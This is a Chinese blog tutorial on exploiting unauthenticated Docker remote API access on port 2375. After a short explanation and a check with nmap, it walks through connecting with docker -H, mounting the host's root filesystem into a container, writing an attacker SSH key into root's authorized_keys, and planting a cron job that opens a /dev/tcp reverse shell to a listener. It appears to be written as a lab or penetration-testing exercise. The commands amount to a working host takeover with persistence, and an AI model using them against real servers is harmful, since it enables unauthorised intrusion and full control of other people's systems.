本文最后更新于90 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、Docker简介
Docker是一个开源的引擎,可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。
二、Docker未授权访问漏洞原理
如果在docker上配置了远程访问,docker节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器。
三、漏洞影响
攻击者利用 dockerclient 或者 http 直接请求就可以访问这个APl,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
四、漏洞环境搭建
Docker未授权访问漏洞详解_docker api未授权访问漏洞-CSDN博客
五、漏洞验证
使用nmap进行扫描,发现开放2375端口
访问 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞
六、docker链接目标机器
通过docker client使用-H参数连接目标主机的docker,
查询目标系统运行的所有容器
docker -H tcp://192.168.58.128 ps -a
列出所有镜像
docker -H tcp://192.168.58.128 images
开启一个停止的容器
docker -H tcp://192.168.58.128 start 3dc8d67b679
连接一个已经启动的容器:四种方法
docker - H tcp://10.1.1.200 exec -it 3dc8d67b679 bash
docker - H tcp://10.1.1.200 attach 3dc8d67b679(**容器id**)
docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像的id)
//mnt为挂载点 ----entrypoint是入口
docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh
//创建一个新的容器busybox容器,将宿主机的磁盘挂载到容器
七、漏洞利用
(1)写ssh公钥得到shell
1)启动一个容器,挂载宿主机的/mnt目录
docker -H tcp://192.168.58.128 run -it -v /:/mnt --entrypoint /bin/bash 5d0da3dc9764
注意:使用的是镜像id
2)生成一个ssh公钥
ssh-keygen -t rsa
3)查看生成的公钥
4)将公钥写到目标/root/.ssh/authorized_keys文件中
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6mirMCpF51nFL/jtqYPGar7SiEOWa+IFI4Gm3PcCkwd9mll7/Cxz6Sxf3IjtNqC0QvauIguTsQKrV5EI9tWcEAnho2VJHu+mYqjHO4+P/eBPl1B5LSt3bty7CIpp7D3UXC+oyaRu806U6VnVGeU/NzZq91mS/nv5vDSuOuF+TSqXF+b0KmS16nKAR0NrWh+pUOVBNx+0VZi5is+U0Nb2/Pa4g7pWecgIgh/hd2URj5+Kj5JH86DnIDvn922U8wu5D3EpZLwUyAEneLAG3rlRNrNkNyrVuQB0a2qmwK8FWgG36i+bg1UwYbvniBJboDPoRXpEiA98SRlkyZjMNh6tUAtKry90yX+zzRFiwQFiCzFX7HAoF0zdeKVpCc5KXgyZJV5P6+A8mH8tF3eXMz0odmXPVjN74e32ldm0t8aybXVRJfyI00PF/u9hXAGIMp3X1XIBSGnPTRce2sZt1eL0Sc4UQj89tgfzTsTBmiJg0LWD1RKtmliMa/3ly9EfesfE= root@kali"> /mnt/root/.ssh/authorized_keys
>
这个代表的意思为覆盖 所以在最后一句加入的意思是讲公钥内容覆盖到/mnt/root/.ssh/authorized_keys中
5)ssh进行连接
ssh root@192.168.58.128 -i id_rsa
(2)写定时任务获取shell
1)启动容器挂载到宿主机
docker -H tcp://192.168.58.128 run -it -v /:/mnt --entrypoint /bin/bash 5d0da3dc9764
注意:使用的是镜像id
2)kali开启监听
nc -lvvp 1212
3)写入定时反弹shell
echo '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"' > /mnt/var/spool/cron/crontabs/root
用户配置文件:
/var/spool/cron/crontabs/root
*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"
全局配置文件:
/etc/crontab
*/1 * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"
4)查看定时任务
cat /mnt/var/spool/cron/crontabs/root